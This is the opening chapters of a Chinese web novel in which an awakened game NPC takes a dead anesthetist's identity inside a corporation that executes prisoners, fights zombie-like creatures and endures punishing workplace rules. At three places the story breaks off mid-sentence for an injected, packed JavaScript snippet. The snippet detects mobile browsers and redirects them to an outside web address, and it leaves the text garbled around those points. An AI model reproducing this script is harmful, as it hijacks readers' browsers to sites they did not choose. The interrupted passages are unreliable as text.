《绑定回收系统后成为boss之主》 1. 旋转永不停歇1 消毒液味浓重的手术室内，全副武装的医生手拿注射器，稳走向躺在床上的病人。 这一段路程不足两米，可在牧懿的意识中，这段时间被硬生生拉长了不止十倍。 麻醉药在牧懿体内流通生效，她僵硬的眼皮正要闭上，麻木地等着对方给她注射死刑。 可她忘记了，副本已经崩塌，时间秩序随之崩溃。 而她只是一个被遗忘的无限流NPC。 副本原定剧情内，由于叛徒出卖队友，卧底任务失败的牧懿被捕，最终被人送到死刑台上。 牧懿正在不停地重复临死前这一段剧情。 快的话，她可以在半秒内过完这段剧情。 但很显然，这一次的时间流速是慢放，她应该会在体感时间十分钟以上闭上眼睛，进入麻药昏迷阶段。 昏迷可以让人暂时忘记等待死亡的煎熬。 作为觉醒自我意识的NPC，牧懿曾在循坏里无数次祈祷副本真正毁灭，而她作为一串游戏代码就可以随之消逝。 不必一次又一次地体验濒死剧情。 终于，医生走到了她的床头，而她也顺利地闭上了眼睛，可以在麻醉中静静地死去了。 “叮——” 一道奇异的机械铃声响起，牧懿没有任何反应。 等等！ 剧情不对！麻药不是已经起效了吗？ 牧懿下意识地想睁开眼，却发现身处一个奇异的空间。 依旧还是那间白得发光的手术室，但房间往外延伸逐渐变得模糊，四下除牧懿以外空无一人。 【欢迎来到茫荒大陆新纪元305年，检测到无限游戏「救世」内测版本的NPC牧懿已苏醒。】 【旧纪元已逝，当前游戏已更新为正式版本。】 【鉴于游戏更新时该副本出现bug，NPC牧懿未能及时按照原有剧情走向死亡，因而转职为“副本回收”计划执行员。】 【我是“副本回收”计划的系统。】 转职？副本回收计划？ 牧懿空洞的双眼忽然动了动：“我该做什么？” 系统：【净化BOSS，回收bug副本。】 奇异空间轰的一下消失了，牧懿回到了真正的手术室内。 但不是在之前一直重复的时间节点上。 牧懿一抬眼，眼前的医生正背对着牧懿调制药液。 原来她来到了被注射麻醉剂之前，并且恢复了正常的身体状态。 牧懿迅速翻身下床，在医生转身面向她的瞬间，一拳正中医生太阳穴。 她一手扶住无声倒下的医生，一手飞快地剥掉医生身上的防护服，与她互换衣裳。 牧懿个子很高，穿医生的衣服显得有点小，但她此刻顾不了这么多了。 牧懿把耳后的那缕黑紫色挑染藏进防护服内，浑身只露出那双如蝎子般的紫色瞳孔。 牧懿做完一切后，把医生放倒在床上，抬眼看了一眼门外。 这里是威浦集团的医疗部手术室，在原定剧情内，牧懿等人被送来此地秘密处死。 也许负责人认为最好的掩饰就是不做掩饰，于是她们这批人是以危重症传染病病人的名义送来此地销尸的，所以手术室内并没有其他医生和护士。 牧懿往病床上昏迷的人胳膊上猛扎一针注射剂，冷冷地站在床边亲眼看着他失去呼吸和心跳。 “我现在是谁？” 系统：【NPC牧懿已成功取代麻醉师莫云的身份。】 【详细信息：莫云在威浦集团医疗部9区张医生手下做学徒，表面职务是麻醉师，但进入医疗部至今，所做工作都是为工厂内各种“危重症病人”执行死刑。 莫云性格孤僻、沉默寡言，总被张医生嫌弃，但对工作内容讳莫如深。】 【解锁任务一：扮演麻醉师莫云】 牧懿一身防护服遮盖了全部面容，唯留一双深紫色的眼睛摄人心魂。 对于曾经被评为顶级特工的牧懿来说，扮演角色手拿把掐。 而且经历了NPC觉醒这件事后，她算是想通了之前做各种任务时，队友为什么会突然性情大变了。 原来那就是玩家来过的证明，她还以为她命里跟队友不和呢。 牧懿推开手术室的门，在空无一人的走廊上透过窗户往房间内瞄，其他房间的病人都静静地呆在床上，看样子死刑已经执行完毕了。 “莫云，在那里磨磨唧唧干嘛呢，赶快把这些尸体抬到火化室去。今天大家休假，只有你跟我在这值班，难不成学生歇着、让老师去盯着他们火化吗？” 一个跟牧懿一样身穿防护服的中年女人手拿记录簿，站在走廊另一头朝牧懿不耐烦地大吼。 “来了！” 看来这位就是莫云的老师张医生了。 牧懿快步走向张医生，顺着她指的方向看向走廊尽头的通道，那里赫然用黑色大字写着“火化专用通道”。 张医生把记录簿递给牧懿，一脸烦躁地说：“说你老实、闷憨，你还真以为夸你呢！记录单也不知道拿着，在里面写不好就别出来。” 说完她就转身去到一旁的休息室，躺下补觉。 牧懿手里握着一砸厚厚的记录簿，准备先去打开火化通道的门。 门很厚重，里面没有开灯，只有一条黑漆漆的狭长通道，夹杂着一丝烟味。 牧懿转身去第一间病房把尸体抱出来。 她的胳膊夹在女尸冰冷的断臂间，牧懿紫色的瞳孔里波澜不惊，但内心止不住地翻滚汹涌。 她好像见过这个人，那是在她被捕之后，她们…… 牧懿的脚步忽然踉跄了一下，膝盖磕在床边。 她的右手抵在额头上，眉毛拧在一起：她在哪里见过这个女人来着？ 名字好熟悉就在嘴边，但牧懿却无论如何都想不起来她们相见时的具体情形了。 头痛撕裂的感觉传来，牧懿强睁开眼看向怀中的尸体。 这张脸面色灰白、血色全无，眼底深深凹陷，脸皮上的褶皱、纹路全都深深地烙印在皮肤上。 断臂女人看起来最多四十多岁，但头发已经全白。 一瞬间，牧懿好像看见鼻翼两旁的法令纹微微张合了一下，像被风撕裂一道口子。 眨眼间又消失了。 牧懿的左手搭在女尸停止心跳的心口，迅速走出病房，用脚拉开走廊的重门，目不斜视地走进黑暗之中。 “嘭——” 走廊门发出沉重的声音，在幽暗狭长的走廊内传来一阵压抑的回声。 大约走了三十米，走廊尽头的红色指示灯突然亮了，映照出昏暗的走廊背景。 这一路都没有窗户，微弱的红色灯光洒在墙上，映出上面曲折的纹路，像是指甲抓手挠的痕迹。 有风声！ 牧懿的头猛地往后一倾，瞳孔中一闪而过一道黑色的爪子。 是异类。 牧懿作为NPC时，进过无数个副本打工，里面无一例外到处都是异类，她甚至已经可以条件反射般的嗅到异类的气息了。 她此刻虽然没有工具加成，但对付这些流浪在火化走廊的孤魂野鬼依旧绰绰有余。 牧懿一只手抱着女尸飞奔，另外腾出一只手摘下防护镜，迅速地掰断镜框，朝风声的来源刺去。 镜片在牧懿手里如同匕首一般锐利，风声立刻偃旗息鼓，整个走廊一下子又回到沉闷的状态。 幸而她做NPC时兢兢业业，在这个满是异能者的大陆上，硬生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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牧懿在卧底期间的确发现了集团内部的很多异常，正打算收网时，同事却突然叛变，导致牧懿和其他战友被抓。 之后便被送到这里注射死刑。 此刻牧懿正站在一排停尸床旁边，挨个整理尸体遗容。 身后的火化炉传来一股温暖的气息，她攥紧手心，阴沉的眼眸里一闪而过仇恨的火苗。 她要亲自看着叛徒被挫骨扬灰。 牧懿先把莫云的尸体抬上火化炉，刚要打开火化按钮时，头顶的灯光忽然闪了一下，像是有什么东西飘过去。 极快，整个闪烁过程不足0.01秒，可牧懿还是捕捉到了。 她被困在崩坏副本的时间循环里时，感受到过无数次时间的非常规流逝，导致她现在对于时间的流逝格外敏感。 她在开启火化炉的一瞬间转身，整个屋子嗵一声陷入火光之中。 火化炉里燃起熊熊火焰，背光照在牧懿身上。 而在这光亮前方，停尸床忽然传来吱吱乱响。 一个身形憔悴、满身是伤的女人苏醒过来，她垂着一只断臂，摇摇晃晃地从床边站起来。 断臂女人一副睡眼惺忪的样子，凭着本能朝牧懿的方向走去。 而在断臂女人身后，其余三人依次复苏。 他们身上同样全是伤痕，防护服脱落下来，漏出里面满是血迹的衣服。 像极了被鞭笞的刑服。 【解锁“莫云”支线任务一： 火化所有尸体，认真撰写火化记录单，清除异类。 注：该任务完成前，不得离开火化室。】 2. 旋转永不停歇2 牧懿在心中默默强调了一遍“清除异类”，心下了然。 旧纪元1379年，异类入侵茫荒大陆。 这些异类往往残忍血腥、缺乏理智，极擅长杀戮破坏。 它们污染人类的精神、侵占人类的身体、夺取人类的生存空间、荼毒大陆上的生灵…… 为了拯救茫荒大陆，神明施展神力，赐予人类异能之力。 而得到神谕的大陆子民们则组建了“神异局”，号召异能者和有志之士加入，意在消灭异类、保护人类。 而此刻在牧懿眼前的这些丧尸，就是大陆上最普遍的一种低级异类。 它们往往在人类最痛苦最脆弱、精神防线最低时诞生，幼年期便潜伏在人类身边。 一旦人类的精神抵抗力下降至低谷或者身体死亡，它们便会立刻吸食人类身上的养料，疯狂生长，迅速进化为现在这种成年期异类。 断臂女尸的脚刚沾地，身体就立刻开始缩水般的退化。 她脸上的皮肤迅速布满褶皱，血浆沿着纹路爆开； 她的眼眶也开始凹陷，原本还跟葡萄一样大小的圆眼珠立刻缩成了葡萄干。 刚才在病房，女尸脸上一闪而过的诡异法令纹，恐怕便是【异化】的开始。 而此刻的她浑身干枯、扭曲，很显然，【异化】已彻底完成。 正当断臂女尸走向牧懿时，她旁边的那个短发男人却开始膨胀，迅速撑破了他死前仅够蔽体的血衣，浑身布满黑气。 血水溅射得到处都是，男人的血肉滩在地上，如同被榨干的酱汁。 他的身体只剩下一副骨架，但上面的鞭痕密密麻麻、清晰可见，已然深邃入骨。 对比来说，剩下那两个看起来就还算正常的丧尸模样，七窍流血，垂着头、耷拉着四肢站在床边，喉咙里还不停地发出奇怪的咕噜咕噜声。 整间屋子即使不开灯，也被火化炉里熊熊燃烧的火光照得灯火通明。 异类口里频频发出呜呜的咆哮声，混合着火化炉内尸体不停翻转以便充分燃烧的声音，显得愈发诡异。 屋内弥散着尸体烧焦的浓重气味，牧懿忍不住皱了皱眉。 房间内所有异类的注意力全在牧懿身上，连走廊上的小鬼也配合它们掀起狂风怒号。 牧懿拿起旁边的一把椅子，掰掉一根椅子腿，趁断臂女尸张开利爪朝她扑来的刹那，猛敲在她完好无损的右臂上。 被打中的断臂女尸双眼冒红光，一把扯断头上疯长的长发与一旁浑身黑气的异类缠在一起，形成一股又长又粗的铁链。 另外两只异类在空中飘来荡去，气氛组又喊又叫，它们眼中满是获得自由的兴奋与激动。 牧懿看着眼前这一幕，嘴角忽然漏出一抹诡异的笑。 她虽然没有异能，但是最清楚这些丧尸的弱点。 牧懿翻身一跃来到断臂女人左侧，再次用木棍狠狠打在它左半身。 趁断臂女人尖叫的瞬间，牧懿一把夺过它右手的铁链，用力一甩缠住它，干脆利落地把断臂女人推进火化炉内。 熊熊烈火轰地一声吞噬掉一只新鲜丧尸。 牧懿特意调的最大火。 这些在人死后夺取身体的异类，会继承人类躯体生前的所有痛苦。 牧懿在搬运尸体时就仔细观察过，断臂女人左臂伤口处满是挠痕，她生前一定遭受过幻肢痛的折磨。 显然这就是它的弱点。 异类分为低中高顶级四种，眼前的这几只属于低级异类。 它们通常智力低下，牧懿只需让它以为左臂受到了攻击就足以调动起它全部的注意力。 而那只浑身黑气的异类发疯似得朝牧懿扑来。 而牧懿只是静静站在火化炉身边，漫不经心地把木质椅子腿放进里面沾点火，随后轻轻举起在身前。 剩下的异类就浑身抽搐着，不敢靠近她。 没有哪个医院的手术室会跟火化室一廊相隔，唯一的答案只有一个—— 威浦集团每天都在处理各种尸体。 尸体怕燃烧怕腐化，继承了这一切的异类自然更加畏惧火焰。 而为了避免工作人员受到异类袭击，他们只能把这一限制条件发挥到极致。 这就是为什么牧懿一进火化室就看到火化炉已经在工作了。 而外面的那些小鬼当然不是被她的眼镜片给刺退的，只是看见她离火化室越来越近之后，畏于正在运作的火化炉而不敢再靠近罢了。 想到这时，风声骤然消逝，外面的那些小鬼恐怕正躲在血墙里面不敢出来了。 剩下的就好解决了。 灯光继而恢复正常，火化室内的烟味被通风口排走，空荡荡的屋子里只剩下牧懿坐在一旁的桌子上写火化记录。 厚厚的记录簿已经被用了一大半，里面都很详细地写了火化的过程，包括时间、火候、骨灰状态、残余物处理方式等，一切都很正常。 除了姓名栏被模糊处理掉的名字和身份。 【“莫云”支线任务一已完成 奖励：200积分】 牧懿从储物柜里拿出五个骨灰盒，定定地注视着工作台上的骨灰，随后就用工具把没烧干净的骨头挑到一边，正打算把骨灰均分成五份收起来。 【警告！警告！】 【发现混沌BOSS逸散的碎片，是否立刻收集？】 眼前的一块硬骨头突然飘浮到空中，牧懿顿了顿问道：“什么是混沌BOSS？” “副本回收”系统： 【急需回收的bug副本内，BOSS往往更容易失控，被称为“混沌BOSS”。】 【“混沌BOSS”会给玩家带来难以评估的威慑力，同时会对副本内正常的NPC施加消极影响，并留下逸散的BOSS碎片。】 【因而需要副本回收计划执行员实施“净化”措施，将混沌BOSS无害化处理。】 牧懿：“也就是说，我收集足够的混沌BOSS碎片后，就可以【净化】混沌BOSS了？” 【是的，这是前提条件。】 牧懿心下了然，用手接住空中的黑色硬骨头，还是热乎的，蹭得她一手灰。 她仔细地观察这块三角形的骨头碎片后，手心一紧，踹进兜里。 牧懿一手拿着骨灰盒，一手拿着记录簿，推门走出火化室。 一路上平静地好似正常在家走夜路。 那些异类死后，没有留下任何东西，也就是说，她的同事直到死都没有给敌人留下机会。 她走到休息室门口，看见张医生还在补觉，转而扭头走进一旁的医生办公室。 映入眼帘的首先是办公室前面那张占据大半面墙的公告板。 《威浦集团医疗部规章制度表》《禁语使用规则》…… 密密麻麻的各式规章制度如同大字报一样挤满了公告板。 【威浦集团医疗部规章制度表： 一、严格听从监管部的命令，不许讨论任何关于监管部的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586094|171758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 二、严格听从上司的安排。 三、不许迟到早退，严格遵守时间表。 四、职工着装端庄大方、整洁方便，举止得体、礼貌规矩。 五、工作期间严禁摸鱼。 ……】 牧懿迅速扫了一眼这些规则，脑海里忽然涌现出她之前在这个副本里工作时的记忆。 她刚入职，就被告知要严格遵守集团的规章制度，尤其是第一条：严格听从监管部的命令，不许讨论任何关于监管部的事。 集团内的所有人必须把这些一字不差的刻在脑子里。 而医疗部的人显然也不例外。 从办公室内的资料来看，医疗部9区接收的病人全是来自工厂监管部的，而且无一例外没有更详细的信息。 送到这里的人不是传染病就是重症求安乐死的病人，几乎在入院当天就被处理了。 没有留下任何其他东西。 医疗部9区的人不敢对监管部送过来的人有一丝怀疑。 牧懿从莫云的办公桌抽屉里拿到了她的手机。 手机屏保赫然就是一张规章制度截图。 看起来是莫云拍下用来提醒自己的，她还特意在关于监管部的那一条后面标注了三个醒目的黄色感叹号。 牧懿随后便用莫云的名字打开了锁屏。 依旧是熟悉的软件：通讯、备忘录、娱乐、转盘。 有且仅有这四个软件。 这个工厂统一发给员工的手机都是这样的，跟她之前卧底时一样。 牧懿点开备忘录，里面只有一条： 【白班时间表： 上午：7:00-12:00 下午：13:00-17:00 晚上：18:00-20:00 夜班时间表： 20:00-次日7:00 谨遵纪律，勤奋工作。】 这条备忘录被记下的时间是一周之前。 牧懿猛然间像是想起了什么，猛地抬头看向窗外。 凌晨天色未白，从九楼往下看，隐约能看见那片开阔的广场。 窗帘被风吹开一角，牧懿猛地屈身蹲在地上，用办公桌挡住自己的身体。 外面的风声刮过时像是大喝一声般刺耳，但屋内却静得仅能听见牧懿急促的呼吸声。 她一只手微微撑地，屈腿抬脚，身体向前倾，如同赛跑运动员等待枪声发号施令时一样紧绷着。 头顶正上方便是发亮的灯泡，把牧懿的影子照的极其矮小，反而恰巧让她隐在办公桌的影子里。 窗帘的投影就在办公桌旁边，单单从地上的影子来看，没有一丝异常。 “窗帘”忽然被掀起一角，一只巨大的手倒映在屋内地板上。 牧懿死死地盯着地上的影子，只见那只手缓缓地拉开窗帘，活动了一下手指，随后便在空中跃动，好似在弹钢琴。 而遮挡住牧懿的那张桌子便是钢琴架，一道极其微弱的琴声飘进屋内，活泼欢乐得像是在逗牧懿玩。 可牧懿的心却提到了嗓子眼。 她的脑海里闪过几个大字——“工作期间严禁摸鱼”。 牧懿刚才玩手机的行为无疑是触犯了这一条纪律，这才引得外面那东西的注意。 手机屏幕上显示此刻的时间是凌晨五点。 离下班还有两个小时。 而那只手依旧在自顾自地弹琴，动作越来越欢快，窗外的风声也越做越响。 3. 旋转永不停歇3 初春的凌晨天气尚寒，一阵冷气顺着窗户缝露进屋内，桌上那张空荡荡的档案袋飘落在地上，落在牧懿脚边。 牧懿一只眼仍然盯着前方的影子，那只演奏着的手没有停。 趁窗帘被风吹起时，牧懿迅速捡起地上的档案袋，把手机藏在桌角，利落地起身、拉开凳子坐在桌前，目不转睛地拿起笔开始在记录簿上写些什么。 在她目光的缝隙中，一道黑色的形状一闪而过。 乐声戛然而止，窗帘被拉上，风声渐息，一切如常。 牧懿松了一口气，果然如她猜的一样。 集团内既然设立了如此严苛的规章制度，那必然会安排相应的人进行监督。 刚才窗外的那东西便是监管部派来巡视监督职工的傀儡，一旦监管者发现她违反了相应的纪律，很有可能就会立刻用那双大手捏死她的头骨。 可他们的智商貌似尚未开化，只要没看见手机，就不会质疑牧懿的行为。 但她以前在工厂部工作时，遇见的监管者大多以傀儡的样貌现身，很少见到刚才那种仅有一只手的监管者，更别提会“弹琴”的了。 就算牧懿把手机藏好了并未犯错，那只手又何必躲起来。 难道说医疗部九区比较特殊？ 牧懿倚在办公椅上，装作看资料的样子，其实是在思考这里的异常之处。 这医疗部的上班时间也太变态了，普通的白班竟然要上11个小时！ 他们这个“死刑科”平时有那么多“病人”需要处理吗？ …… 牧懿在座位上安安稳稳地待了一个小时，确保窗外没有任何动静，这才弯腰捡起地上的手机塞进桌兜里。 忙活了一晚上，她站起身来伸了个懒腰，此刻却听见一道刺耳的怒骂声从门口传来—— “我真是倒八辈子血霉遇见你这么个徒弟，站没站样，一点规矩都没有，真是我带过的最差的学生！” 原来是张医生走进办公室，她原本还睡眼惺忪的脸色一见到牧懿就像被点着的鞭炮一样，拧着脸训斥起牧懿来。 牧懿立刻身体站正，恭恭敬敬地把记录簿放在张医生桌上：“老师请阅。” 不是说好了不准上班摸鱼吗，怎么张医生睡大半夜了，也没见监管者来惩罚她？ 办公室斜对面就是休息室，牧懿一撇眼看见休息室门口的指示牌暗了下去，心下了然。 看来在休息室内休息是被允许的，毕竟是夜班，没人能受得了一晚上连轴转。 但休息只限于休息室内，在办公室内小憩是万万不可的。 只见张医生一屁股坐在办公椅上，没好气地扶了扶眼镜，嘴里嘟囔着：“这还差不多”。 牧懿拘谨地收回手，忽然瞥见袖口有一摊红色的血迹，下意识想翻过手来掩盖住。 谁知却被张医生一把扯住袖子，揪住袖口： “血？干什么吃的这点小事都干不好！医疗部规章制度表第四条怎么说的？” 牧懿脑海里飞速运转，立刻想起屏保上的内容：“第四条：职工着装端庄大方、整洁方便，举止得体、礼貌规矩。” “亏你还会背！脏成这样也不知道清洗！”张医生用力地甩了甩刚才碰牧懿袖子的手，眼底尽是嫌弃。 牧懿挽了挽袖口，低眉不语。 这应该是那些尸体【异化】时不小心溅到她身上的几滴血，不细看的话根本察觉不到，但没想到张医生的反应这么大。 不过从张医生的衣着和办公室的卫生环境来看，这里的确到处都看起来一尘不染。 看来集团内部的规章制度对于这些工作人员来说，约束力十分强大。 张医生翻阅起记录簿来：“写得不错，有进步，这批实习生里其实我最看好你，好好干，转正少不了你——” 这番“安抚”的话术没说完，张医生突然从椅背上弹起来，满眼冒火光，眼睛瞪得跟核桃一样，下一秒就把记录簿甩到桌子上。 牧懿定睛一看，原来张医生手戳在她写的“异化”两个字上面。 “人人都说你老实，肯干肯学，你看你写的什么废物！规章制度每天背到哪里去了！脑子里全是水吗？连这种错误都能犯！” 牧懿被张医生劈头盖脸一顿骂，唾沫星子喷了她一脸。 就这还不够，只见张医生腾的一下子站起来，粗暴地扯着牧懿的胳膊把她拽到办公室前头的告示板前。 眼前的张医生满脸狰狞，嘴唇跟机关枪一样扫射不停，可怜牧懿被扁得体无完肤。 有一瞬间牧懿好像看见张医生的嘴里突然吐出来一团黑色的东西，腥气刺鼻，而她的眼白则猛地吞噬掉了黑色的瞳孔。 牧懿下意识地眨了眨眼睛，对方脸上的异常又消失了。 “睁开你那死鱼眼看看，上面写的什么，读出来！” 牧懿露出畏惧的表情，跟上学时被老师当众辱骂的状态一模一样，声音虚虚地读出公告板上的《禁语使用规则》： “一、不得使用非规范化词语，禁止将【异类】……【异化】……等词写进材料内……” 牧懿颤颤地说完便低下头，装作不敢直视张医生怒火的样子。 “真是反了你了，现在立刻马上收拾东西去9楼行政窗口领罚！” 牧懿察觉到张医生气愤地转身离开，随即便恢复了正常的神色。 她三下五除二地把身上不合身的防护服脱掉，随手扎了个高马尾，黑紫色的侧边刘海别在耳后。 她快步走出医生办公室，抬脚朝行政窗口走去。 行政窗口就在9楼楼梯间旁边，牧懿敲了敲窗口，一个身穿防护服、浑身上下包裹得严严实实的职工拉开窗户探出头来。 牧懿禀明来意后，行政职工立刻打印出一张处罚单，盖上医疗部九区的章，递给牧懿。 牧懿拿到罚单之后，窗户便立刻关上了。 牧懿只好一边等电梯一边读罚单： 由于该员工违反《禁语使用规则》，被罚思过三天，从即刻起生效。 思过？ 牧懿头一回听说这样的处罚方式，这时恰好响起两道铃声。 电梯到了。 她根据按键上的标注去了三楼宿舍区。 电梯门合上后，她才拿起手机，查看刚才的通知。 “‘思过’期间需在集团其他部门（除本部门和监管部外）复习规章制度，并得到对应部门负责人的好评。 每个部门思过时间为一天，每天晚八点下班后将由行政员做出评价。 如好评数≥2，则‘思过’合格；反之将被处以降职减薪处罚。 请持该二维码依次前往对应部门行政窗口报到。” 威浦集团分为监管部、医疗部、工厂部、后勤部和娱乐部五个部门。 也就是说，牧懿需要到工厂、后勤和娱乐部分别干一天活，争取得到两个部门的好评就够了。 根据二维码的顺序，牧懿第一天需要到工厂部行政窗口报到。 虽然医疗部的夜班凌晨七点下班，现在才六点四十，但是罚单上特意注明了“从即刻起生效”，因而她现在必须在二十分钟内赶到工厂部。 连气也不让人喘一下，好没有人性的集团。 她没时间回宿舍了，只得直奔一楼。 一楼大厅里已经有人在排队取号看病了，病人看起来还真不少，可能是早起的缘故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586095|171758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大家都没精打采、死气沉沉的。 医疗部大楼前面是一片宽阔的空地，花坛绿化很规整。 园区中间有一条警戒森严的大道把园区分割成南北两区。 牧懿现在所在的医疗部大楼就在南区，但除此以外，南区便看不到有别的建筑存在。整座大楼似乎被雾包围着，附近的一切都朦胧不清晰。 牧懿之前从未来过南区。 她卧底进来的身份是工厂部职工，主要活动区域在北区。 以牧懿之前在这里卧底时所掌握的信息可知，整个集团园区大的难以想象。 单单是北区，就一眼望不到尽头，白天上班时，无数组队员在北区广场上结伴工作。 她曾经在休息时试图寻找园区的边界，但无一例外都没能成功。 可这些还只是地面部分，更为庞大的部分还在地下—— 工厂部的员工宿舍和后勤部的工作地点全在地下。 牧懿走到大道旁边的一个花坛边缘，在心中默默念了一句通行咒语，一阵久违的眩晕感朝牧懿袭来。 约莫三秒过后，牧懿睁开眼，已然身处地下，一条长长的走廊在牧懿眼前展开。 眼前人来人往，脚步声、说话声还有吆喝声不绝于耳，活像一个热闹的集市。 这里是威浦集团绝大多数人生活的地方，所有工厂部的职工都住在走廊北边的宿舍，而走廊南边则是后勤部的各式窗口。 工厂部的职工才是这个集团的主力，他们一出宿舍，便可以走到对面的窗口买各种食物和生活用品。 牧懿进入地下时，刚好落在153宿舍附近，而离她最近的行政窗口却在100号。 由于走廊只有五米左右宽，她附近挤满了排队打饭的人。 牧懿只好挤过人群朝100号窗口赶去。 她到的时候，行政窗口前面的队伍已经自动拐弯，成为一个L字形长队。 牧懿好不容易才找到真正的队伍末尾，她前面少说也有20号人。 时间已经来到了六点四十五。 附近排队的人大多形色憔悴、焦虑不安，尤其是排在牧懿前面的那位女职工。 女人个头一般，手里紧紧攥着一张纸，时不时地从口袋里掏出手机查看时间，牧懿透过屏幕的反光把她的神情尽收眼底。 看样子也是跟她一样来领罚的人。 牧懿悄悄在心中问系统：“这个人会是玩家吗？” 系统：【检测到该区域玩家浓度较高，但无法判定具体人员的身份。】 牧懿原本就在偷偷观察这附近的人，但由于她之前做NPC时被游戏刻意抹去了自主意识，并不知道她处于游戏世界。 因而此刻并不能一眼就看出谁是玩家。 “那这个副本的主线任务是什么？”牧懿突然想到一个突破点。 牧懿当前的身份是夺取来的，所以才会有扮演“莫云”并完成对应支线的任务。 但玩家进入副本之后一定会有一个主线任务，这会让玩家在副本内产生联系。 而且玩家完成任务后会得到一定的奖励，因而玩家的关注点大多与按剧情走的普通NPC并不一样。 他们身上的气质很容易被同为玩家的人注意到。 可系统却冷酷地回道：【尚未解锁该部分内容。】 牧懿：“……” 话又说回来，牧懿现在是“副本回收计划”执行员，只要能【净化】BOSS，她的任务就完成了。 至于那些玩家，好像跟牧懿也没太大关系。 时间一点点流逝，牧懿焦灼地盯着手机上的时间和面前的队伍。 距上班时间还剩十三分钟。 4. 旋转永不停歇4 幸而该窗口的行政效率很高，下一个就该轮到牧懿了。 窗口处的行政员麻木地接过牧懿递来的单子，看也没看就夹在档案袋里，另一只手随即拿出扫描枪对准窗口外的人。 牧懿自觉地掏出二维码配合。 行政员机械地运转着，从她脸上的疲惫和娴熟来看，这种“思过”类的惩罚很常见，她处理起来跟喝水一样简单。 “下一位。” 牧懿低头一看手机，新二维码下面有一句话： “拿着新二维码去找工厂部375队队长，下班后带着375队所有队员的评价回来打分。” 牧懿立即转身离开，快步奔向375宿舍。 时间已经来到了六点五十分，正常情况下七点上班，375队的人估计已经在宿舍门口准备出门了。 这些队员不可能冒着上班迟到的风险去等待牧懿的。 身旁的宿舍数字一个个在牧懿身边飞过，她飞快地跑起来，在人流之中尽可能快得穿梭。 她已经看见了375的队员关上了宿舍门，门边有一位高大的女人把手里的鞭子分发给其他人。 牧懿嗖的一下子站定在宿舍门口，一手举起二维码，一手紧抓住这个发放鞭子的女人。 四个人的目光瞬间被牧懿的动作吸引，所有人扭过身子警惕地把牧懿包围住。 “我是来‘思过’的员工，这是我的身份证明。”牧懿的身体素质很强，奔跑后脸不红气不喘，镇静地解释。 那个被她抓住手的女人眼神冷峻，扫过二维码确认完牧懿的身份后，甩掉牧懿的手，转身打开宿舍门，回到房内又迅速出来。 女人手里多了一根鞭子，递给牧懿时语气低沉：“我是375队队长伊淮，你就拿这个临时鞭子干活吧。” 牧懿手里被塞了一根粗糙的绳鞭。 其余几位队员看到队长发话了，对牧懿的敌意稍稍隐去了一些。 “六点五十七，该走了。”牧懿身后突然传来一道没有任何感情的声音，她还没回头，就被队长伊淮拽着回到了地面上。 【“莫云”扮演任务之“思过”第一天——进度：20%】 熟悉的广场，熟悉的北区。 一望无际的广场上密密麻麻全是人头，他们以宿舍为单位分组，每组约四到六人。 牧懿脚下的那块五平米大小的地方，用鲜艳的红色油漆标注了大大的“375”字样。 整片北区被方格划分了无数块这样的地方，以供庞大到难以统计的工厂部小队工作。 而他们的工作内容，则全都跟他们手中的鞭子有关。 “啪！” 一阵急促的鞭声从四面八方传来，好多人开始甩鞭子试试手感，整个地面被震得如同雷鸣一般。 伊淮喊了牧懿一声：“喂！新来的，我们两个人一组，上午四十组互抽，一天完成一百抽就算合格了。” 牧懿定睛看向对面摩拳擦掌的魁梧女子，自己也试着朝地上抽了一鞭子，力道不大，动作稍稍有些僵硬。 伊淮的脸上没有多余的表情，看起来十分冷酷，她并不清楚“莫云”之前是否来工厂部上过班，面对“莫云”的试水只是简单地点了点头。 随后伊淮就猛地扬起鞭子朝她狠狠甩过去。 牧懿没有躲避，硬生生地接下了这一鞭子。 火辣辣的痛觉从牧懿左胯处传来，纵使牧懿已经做好了心理准备，也还是不可避免地痛到脸部扭曲。 她看见伊淮胸前的记号牌从“000”变成了“001”，自己只好握紧钢鞭朝对方重重地挥去。 可伊淮连眨眼都未曾眨一下，仿佛那鞭子没落在她大腿上，而是抽在空气里。 “不错啊，以前是不是来工厂部干过活？”伊淮身材高大，一身结实的肌肉，脸皮一直都很僵硬，却在挥鞭时微微笑着与牧懿搭话。 牧懿脑海里闪回许多曾经在工厂部做工的回忆，但她还是摇了摇头。 她现在是莫云。 “只要好好干，我们不会为难你的。”伊淮的眼珠大的出奇，她直直地盯着牧懿，令人毛骨悚然。 接着伊淮又言简意赅地向牧懿解释这里的工作纪律：“规则很简单，别人抽你时不能躲鞭子，你抽对方时必须落在对方身上。” 牧懿深吸一口气，重重地点头。 几个回合过后，牧懿的手感回来了一点，但她感觉自己在微微颤抖，衣服的布料混着血液贴在身上，难受得很。 这些工厂部员工的工作服都是内部定制的，无论用多大力气抽，都不会留下鞭痕。 伊淮她们身上的灰色工作服是新换的，牧懿还能闻见一股淡淡的洗衣液味道，此刻看起来跟普通人无异。 